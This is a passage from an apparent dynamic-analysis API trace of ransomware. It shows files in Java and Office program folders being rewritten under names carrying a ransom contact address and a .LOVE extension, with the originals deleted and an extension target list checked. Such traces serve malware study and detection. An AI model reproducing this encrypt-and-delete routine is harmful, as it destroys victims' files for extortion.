hTemplateFile=0x0) returned 0x354 [0201.922] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.922] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.923] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0201.923] GetLastError () returned 0x0 [0201.923] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1e7d, lpOverlapped=0x0) returned 1 [0201.936] WriteFile (in: hFile=0x358, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0201.937] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.937] WriteFile (in: hFile=0x358, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xf6, lpOverlapped=0x0) returned 1 [0201.937] SetEndOfFile (hFile=0x358) returned 1 [0201.937] CloseHandle (hObject=0x358) returned 1 [0201.938] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.938] SetEndOfFile (hFile=0x354) returned 1 [0201.939] CloseHandle (hObject=0x354) returned 1 [0201.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0201.939] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1 [0201.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0201.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0201.940] lstrlenW (lpString=".doc") returned 4 [0201.940] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0201.940] lstrlenW (lpString=".docx") returned 5 [0201.940] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0201.940] lstrlenW (lpString=".pdf") returned 4 [0201.940] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0201.940] lstrlenW (lpString=".xls") returned 4 [0201.940] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0201.940] lstrlenW (lpString=".xlsx") returned 5 [0201.940] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0201.940] lstrlenW (lpString=".ppt") returned 4 [0201.940] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0201.940] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0201.940] lstrlenW (lpString=".zip") returned 4 [0201.940] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0201.940] lstrlenW (lpString=".rar") returned 4 [0201.940] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0201.940] lstrlenW (lpString=".bz2") returned 4 [0201.940] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0201.940] lstrlenW (lpString=".7z") returned 3 [0201.940] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0201.940] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0201.940] lstrlenW (lpString=".dbf") returned 4 [0201.940] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0201.940] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0201.940] lstrlenW (lpString=".1cd") returned 4 [0201.940] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0201.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0201.941] lstrlenW (lpString=".jpg") returned 4 [0201.941] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0201.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0201.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0201.941] lstrlenW (lpString=".doc") returned 4 [0201.941] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0201.941] lstrlenW (lpString=".docx") returned 5 [0201.941] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0201.941] lstrlenW (lpString=".pdf") returned 4 [0201.941] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0201.941] lstrlenW (lpString=".xls") returned 4 [0201.941] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0201.941] lstrlenW (lpString=".xlsx") returned 5 [0201.941] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0201.941] lstrlenW (lpString=".ppt") returned 4 [0201.941] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0201.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0201.942] lstrlenW (lpString=".zip") returned 4 [0201.942] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0201.942] lstrlenW (lpString=".rar") returned 4 [0201.942] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0201.942] lstrlenW (lpString=".bz2") returned 4 [0201.942] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0201.942] lstrlenW (lpString=".7z") returned 3 [0201.942] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0201.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0201.942] lstrlenW (lpString=".dbf") returned 4 [0201.942] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0201.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0201.942] lstrlenW (lpString=".1cd") returned 4 [0201.942] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0201.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0201.942] lstrlenW (lpString=".jpg") returned 4 [0201.942] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0201.943] Sleep (dwMilliseconds=0x64) [0202.198] lstrcmpiW (lpString1=".gif", lpString2=".LOVE") returned -1 [0202.198] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25 [0202.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0202.311] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=153) returned 1 [0202.311] CloseHandle (hObject=0x33c) returned 1 [0202.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0202.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0202.312] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.312] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0202.312] GetLastError () returned 0x0 [0202.312] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x99, lpOverlapped=0x0) returned 1 [0202.313] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xa0, lpOverlapped=0x0) returned 1 [0202.314] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.314] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x106, lpOverlapped=0x0) returned 1 [0202.314] SetEndOfFile (hFile=0x348) returned 1 [0202.314] CloseHandle (hObject=0x348) returned 1 [0202.315] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.315] SetEndOfFile (hFile=0x33c) returned 1 [0202.316] CloseHandle (hObject=0x33c) returned 1 [0202.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.316] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1 [0202.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0202.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0202.317] lstrlenW (lpString=".doc") returned 4 [0202.317] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.317] lstrlenW (lpString=".docx") returned 5 [0202.317] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.317] lstrlenW (lpString=".pdf") returned 4 [0202.317] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.317] lstrlenW (lpString=".xls") returned 4 [0202.317] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.317] lstrlenW (lpString=".xlsx") returned 5 [0202.317] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.317] lstrlenW (lpString=".ppt") returned 4 [0202.317] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0202.317] lstrlenW (lpString=".zip") returned 4 [0202.317] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.317] lstrlenW (lpString=".rar") returned 4 [0202.317] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.317] lstrlenW (lpString=".bz2") returned 4 [0202.317] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.317] lstrlenW (lpString=".7z") returned 3 [0202.317] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0202.317] lstrlenW (lpString=".dbf") returned 4 [0202.317] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0202.318] lstrlenW (lpString=".1cd") returned 4 [0202.318] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0202.318] lstrlenW (lpString=".jpg") returned 4 [0202.318] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0202.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0202.318] lstrlenW (lpString=".doc") returned 4 [0202.318] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.318] lstrlenW (lpString=".docx") returned 5 [0202.318] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.318] lstrlenW (lpString=".pdf") returned 4 [0202.318] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.318] lstrlenW (lpString=".xls") returned 4 [0202.318] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.318] lstrlenW (lpString=".xlsx") returned 5 [0202.318] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.318] lstrlenW (lpString=".ppt") returned 4 [0202.318] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0202.318] lstrlenW (lpString=".zip") returned 4 [0202.318] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.318] lstrlenW (lpString=".rar") returned 4 [0202.318] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.318] lstrlenW (lpString=".bz2") returned 4 [0202.318] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.318] lstrlenW (lpString=".7z") returned 3 [0202.318] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0202.318] lstrlenW (lpString=".dbf") returned 4 [0202.319] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0202.319] lstrlenW (lpString=".1cd") returned 4 [0202.319] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0202.319] lstrlenW (lpString=".jpg") returned 4 [0202.319] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.319] Sleep (dwMilliseconds=0x64) [0203.101] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0203.101] lstrlenW (lpString="FileSystemMetadata.xml") returned 22 [0203.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0203.102] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=281) returned 1 [0203.102] CloseHandle (hObject=0x360) returned 1 [0203.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0203.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0203.102] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.102] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0203.103] GetLastError () returned 0x0 [0203.103] ReadFile (in: hFile=0x360, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x119, lpOverlapped=0x0) returned 1 [0203.103] WriteFile (in: hFile=0x364, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x120, lpOverlapped=0x0) returned 1 [0203.104] ReadFile (in: hFile=0x360, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.104] WriteFile (in: hFile=0x364, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x100, lpOverlapped=0x0) returned 1 [0203.134] SetEndOfFile (hFile=0x364) returned 1 [0203.134] CloseHandle (hObject=0x364) returned 1 [0203.135] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.135] SetEndOfFile (hFile=0x360) returned 1 [0203.137] CloseHandle (hObject=0x360) returned 1 [0203.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0203.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1 [0203.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0203.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0203.137] lstrlenW (lpString=".doc") returned 4 [0203.137] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.137] lstrlenW (lpString=".docx") returned 5 [0203.137] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0203.137] lstrlenW (lpString=".pdf") returned 4 [0203.137] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.138] lstrlenW (lpString=".xls") returned 4 [0203.138] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.138] lstrlenW (lpString=".xlsx") returned 5 [0203.138] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0203.138] lstrlenW (lpString=".ppt") returned 4 [0203.138] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0203.138] lstrlenW (lpString=".zip") returned 4 [0203.138] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.138] lstrlenW (lpString=".rar") returned 4 [0203.138] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.138] lstrlenW (lpString=".bz2") returned 4 [0203.138] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.138] lstrlenW (lpString=".7z") returned 3 [0203.138] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0203.138] lstrlenW (lpString=".dbf") returned 4 [0203.138] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0203.138] lstrlenW (lpString=".1cd") returned 4 [0203.138] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0203.138] lstrlenW (lpString=".jpg") returned 4 [0203.138] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0203.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0203.138] lstrlenW (lpString=".doc") returned 4 [0203.138] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.138] lstrlenW (lpString=".docx") returned 5 [0203.138] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0203.138] lstrlenW (lpString=".pdf") returned 4 [0203.138] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.138] lstrlenW (lpString=".xls") returned 4 [0203.138] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.138] lstrlenW (lpString=".xlsx") returned 5 [0203.139] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0203.139] lstrlenW (lpString=".ppt") returned 4 [0203.139] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0203.139] lstrlenW (lpString=".zip") returned 4 [0203.139] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.139] lstrlenW (lpString=".rar") returned 4 [0203.139] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.139] lstrlenW (lpString=".bz2") returned 4 [0203.139] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.139] lstrlenW (lpString=".7z") returned 3 [0203.139] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0203.139] lstrlenW (lpString=".dbf") returned 4 [0203.139] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0203.139] lstrlenW (lpString=".1cd") returned 4 [0203.139] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0203.139] lstrlenW (lpString=".jpg") returned 4 [0203.139] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.139] lstrcmpiW (lpString1=".VBS", lpString2=".LOVE") returned 1 [0203.139] lstrlenW (lpString="OSPP.VBS") returned 8 [0203.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0203.174] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=94467) returned 1 [0203.174] CloseHandle (hObject=0x330) returned 1 [0203.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0203.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0203.174] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.174] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0203.174] GetLastError () returned 0x0 [0203.174] ReadFile (in: hFile=0x330, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, 